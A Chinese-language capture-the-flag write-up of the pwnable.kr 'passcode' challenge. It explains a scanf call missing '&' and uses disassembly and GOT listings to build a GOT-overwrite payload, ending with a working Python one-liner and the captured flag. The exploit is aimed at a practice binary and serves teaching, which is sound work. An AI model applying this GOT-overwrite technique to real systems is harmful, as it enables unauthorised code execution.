pwnable.kr-passcode 这道题目有难度,之前没有遇到过,查看其他人写的writeup,有了解题思路,顺着做了一遍,加深理解。 涉及知识点:scanf函数漏洞、GOT覆写技术、gdb调试 参考:https://blog.csdn.net/smalosnail/article/details/53247502
题目描述 1 2 3 4 5 Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that? ssh passcode@pwnable.kr -p2222 (pw:guest)
题目说要建立一个基于密码的登录系统,源代码C在编译时有警告。同样给出SSH远程登录的命令。
题目分析
远程登录用户机 同前边的第一道题一样,有三个文件 flag passcode passcode.c
查看passcode.c代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> void login () { int passcode1; int passcode2; printf ("enter passcode1 : " ); scanf ("%d" , passcode1); fflush(stdin ); printf ("enter passcode2 : " ); scanf ("%d" , passcode2); printf ("checking...\n" ); if (passcode1==338150 && passcode2==13371337 ){ printf ("Login OK!\n" ); system("/bin/cat flag" ); } else { printf ("Login Failed!\n" ); exit (0 ); } } void welcome () { char name[100 ]; printf ("enter you name : " ); scanf ("%100s" , name); printf ("Welcome %s!\n" , name); } int main () { printf ("Toddler's Secure Login System 1.0 beta.\n" ); welcome(); login(); printf ("Now I can safely trust you that you have credential :)\n" ); return 0 ; }
程序很好理解,有三个函数,login、welcome、main函数,在主函数中,先调用welcome函数,在调用login函数,其中welcome函数中就调用scanf函数输入name,关键的就在login函数,输入另个数,使得passcode1==338150 && passcode2==13371337就会得到flag。
这里的scanf(“%d”, passcode1),少了‘&’,取地址的符号,这里就默认从存放passcode1数据的栈中取4个字节当做scanf取的地址(本来scanf是取存放passcode1的地址,现在取的是passcode1的数据)。这里存在scanf漏洞 。
解题思路 利用GOT覆写技术,把scanf该取的passcode1地址改为其他函数的地址,如fflush函数,把 system(“/bin/cat flag”)这条指令写入这个函数中,那么在调用这个函数时,就能执行system函数了,从而得到flag。根据代码可以看出,这里是把输入psaacode1和passcode2绕过了,从而防止scanf错误出现。
查看login函数的反汇编代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 08048564 <login>: 8048564 : 55 push %ebp 8048565 : 89 e5 mov %esp,%ebp 8048567 : 83 ec 28 sub $0x28 ,%esp 804856 a: b8 70 87 04 08 mov $0x8048770 ,%eax 804856f : 89 04 24 mov %eax,(%esp) 8048572 : e8 a9 fe ff ff call 8048420 <printf @plt> 8048577 : b8 83 87 04 08 mov $0x8048783 ,%eax 804857 c: 8b 55 f0 mov -0x10 (%ebp),%edx 804857f : 89 54 24 04 mov %edx,0x4 (%esp) 8048583 : 89 04 24 mov %eax,(%esp) 8048586 : e8 15 ff ff ff call 80484 a0 <__isoc99_scanf@plt> 804858b : a1 2 c a0 04 08 mov 0x804a02c ,%eax 8048590 : 89 04 24 mov %eax,(%esp) 8048593 : e8 98 fe ff ff call 8048430 <fflush@plt> 8048598 : b8 86 87 04 08 mov $0x8048786 ,%eax 804859 d: 89 04 24 mov %eax,(%esp) 80485 a0: e8 7b fe ff ff call 8048420 <printf @plt> 80485 a5: b8 83 87 04 08 mov $0x8048783 ,%eax 80485 aa: 8b 55 f4 mov -0xc (%ebp),%edx 80485 ad: 89 54 24 04 mov %edx,0x4 (%esp) 80485b 1: 89 04 24 mov %eax,(%esp) 80485b 4: e8 e7 fe ff ff call 80484 a0 <__isoc99_scanf@plt> 80485b 9: c7 04 24 99 87 04 08 movl $0x8048799 ,(%esp) 80485 c0: e8 8b fe ff ff call 8048450 <puts @plt> 80485 c5: 81 7 d f0 e6 28 05 00 cmpl $0x528e6 ,-0x10 (%ebp) 80485 cc: 75 23 jne 80485f 1 <login+0x8d > 80485 ce: 81 7 d f4 c9 07 cc 00 cmpl $0xcc07c9 ,-0xc (%ebp) 80485 d5: 75 1 a jne 80485f 1 <login+0x8d > 80485 d7: c7 04 24 a5 87 04 08 movl $0x80487a5 ,(%esp) 80485 de: e8 6 d fe ff ff call 8048450 <puts @plt> 80485e3 : c7 04 24 af 87 04 08 movl $0x80487af ,(%esp) 80485 ea: e8 71 fe ff ff call 8048460 <system@plt> 80485 ef: c9 leave 80485f 0: c3 ret 80485f 1: c7 04 24 bd 87 04 08 movl $0x80487bd ,(%esp) 80485f 8: e8 53 fe ff ff call 8048450 <puts @plt> 80485f d: c7 04 24 00 00 00 00 movl $0x0 ,(%esp) 8048604 : e8 77 fe ff ff call 8048480 <exit @plt>
80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)这里是把”/bin/cat flag”入栈,那么就把0x80485e3写入fflush函数中。
查看fflush函数在GOT表中的位置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 passcode@ubuntu:~$ objdump -R passcode passcode: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049f f0 R_386_GLOB_DAT __gmon_start__0804 a02c R_386_COPY stdin @@GLIBC_2.0 0804 a000 R_386_JUMP_SLOT printf @GLIBC_2.0 0804 a004 R_386_JUMP_SLOT fflush@GLIBC_2.0 0804 a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804 a00c R_386_JUMP_SLOT puts @GLIBC_2.0 0804 a010 R_386_JUMP_SLOT system@GLIBC_2.0 0804 a014 R_386_JUMP_SLOT __gmon_start__0804 a018 R_386_JUMP_SLOT exit @GLIBC_2.0 0804 a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804 a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
需要把0x80485e3覆盖掉在0x0804a004位置的fflush函数的GOT表。GOT覆写技术 :由于GOT表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。
构造填充数据 发现welcome()和login()共同使用一个共享栈,也就是说,两个函数使用同一个ebp,先调用welcome的话,name所占空间也被算在里边。
1 2 3 4 5 6 7 8 9 10 11 12 13 (gdb) break welcome () Function "welcome()" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 2 (welcome()) pending. (gdb) i r ebp ebp 0xffadff48 0xffadff48 (gdb) break login () Function "login()" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 4 (login()) pending. (gdb) i r ebp ebp 0xffadff48 0xffadff48
查看welcome函数的反汇编代码,找name所占空间。 -0x70(%ebp),%edx,ebp-0x70就是name的地址,0x70即为name所占空间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 08048609 <welcome>: 8048609 : 55 push %ebp 804860 a: 89 e5 mov %esp,%ebp 804860 c: 81 ec 88 00 00 00 sub $0x88 ,%esp 8048612 : 65 a1 14 00 00 00 mov %gs:0x14 ,%eax 8048618 : 89 45 f4 mov %eax,-0xc (%ebp) 804861b : 31 c0 xor %eax,%eax 804861 d: b8 cb 87 04 08 mov $0x80487cb ,%eax 8048622 : 89 04 24 mov %eax,(%esp) 8048625 : e8 f6 fd ff ff call 8048420 <printf @plt> 804862 a: b8 dd 87 04 08 mov $0x80487dd ,%eax 804862f : 8 d 55 90 lea -0x70 (%ebp),%edx 8048632 : 89 54 24 04 mov %edx,0x4 (%esp) 8048636 : 89 04 24 mov %eax,(%esp) 8048639 : e8 62 fe ff ff call 80484 a0 <__isoc99_scanf@plt> 804863 e: b8 e3 87 04 08 mov $0x80487e3 ,%eax 8048643 : 8 d 55 90 lea -0x70 (%ebp),%edx 8048646 : 89 54 24 04 mov %edx,0x4 (%esp) 804864 a: 89 04 24 mov %eax,(%esp) 804864 d: e8 ce fd ff ff call 8048420 <printf @plt> 8048652 : 8b 45 f4 mov -0xc (%ebp),%eax 8048655 : 65 33 05 14 00 00 00 xor %gs:0x14 ,%eax 804865 c: 74 05 je 8048663 <welcome+0x5a > 804865 e: e8 dd fd ff ff call 8048440 <__stack_chk_fail@plt> 8048663 : c9 leave 8048664 : c3 ret
passcode1(login函数的反汇编代码可以看出)的位置为ebp-0x10,那么从name到passcode1所占范围为:0x70-0x10=0x60=96,name要求输入100个字节,那么name的最后4个字节就会被当做是passcode1的地址,也就是这里fflush函数的地址。 paylode: ‘a’*96+p32(fflush_got)+str(sys_addr) ‘a’*96+p32(0x0804a004)+str(0x80485e3)
输入命令: python -c “print ‘A’ * 96 + ‘\x00\xa0\x04\x08’ + ‘134514147\n’” | ./passcode 得到flag:Sorry mom.. I got confused about scanf usage :(